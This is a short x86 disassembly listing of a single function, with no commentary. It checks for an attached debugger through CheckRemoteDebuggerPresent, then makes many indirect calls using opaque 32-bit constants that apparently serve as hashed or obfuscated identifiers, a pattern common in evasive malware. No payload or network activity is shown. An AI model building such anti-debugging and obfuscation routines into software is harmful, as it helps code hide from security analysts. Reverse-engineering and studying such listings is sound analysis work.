call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
and dword [ebp - 4], 0
push dword [ebp - 0xc]
call dword [0x41c0c4]
cmp dword [ebp - 4], 0
jne 0x4165af
push 0
push 0xa3325218
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push 0
push 0x973fdc55
push 0
call esi
push 0
push 0x6cf30b5b
push 0
call esi
push 0
push 0xecabee1b
push 0
call esi
push 0
push 0xc3a12925
push 0
call esi
push 0
push 0xa36e6e70
push 0
call esi
push 0
call ebx
push 0
call ebx
push 0
push 0x13340bca
push 0
call esi
push 0
push 0x74587427
push 0
call esi
push 0
call ebx
push 0
push 0x90988727
push 0
call esi
push 0
push 0x3716f0d0
push 0
call esi
push 0
call ebx
push 0
push 0x8ca9b12a
push 0
call esi
push 0
call ebx
xor ebx, ebx
push ebx
push 1
push 0x916c97ce
push 0xccc75fab
call edi
push ebx
push 0x9be8546a
push ebx
call esi
push ebx
push 0xc2ac34a
push ebx
call esi
push ebx
push 0xb
push 0x500584aa
push 0xa2dcba0c
call edi
push ebx
push 0xb4daf592
push ebx
call esi
push ebx
push 0xcf09a0e2
push ebx
call esi
push ebx
push 0x8ff392ae
push ebx
call esi
push ebx
push 0xecafb949
push ebx
call esi
push ebx
push 0x7d9aa2be
push ebx
call esi
push ebx
push 6
push 0x9e4b566f
push 0xfe87fd88
call edi
push ebx
push 0xe76a0e74
push ebx
call esi
push ebx
push 0x3a94686
push ebx
call esi
push ebx
push 0xffffffffffffffea
push 0xd227c3b4
push 0x4c3353eb
call edi
push ebx
push 0x3651644e
push ebx
call esi
push ebx
push 0xc5b14202
push ebx
call esi
push ebx
push 1
push 0xd55bdf1c
push 0x59051e5d
call edi
push ebx
push 0x13c69ebd
push ebx
call esi
push ebx
push 0x16
push 0xc1b6f0eb
push 0x702ac0d7
call edi
push ebx
push 0xffffffffffffffeb
push 0x20eaf60c
push 0x34572fed
call edi
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
leave
ret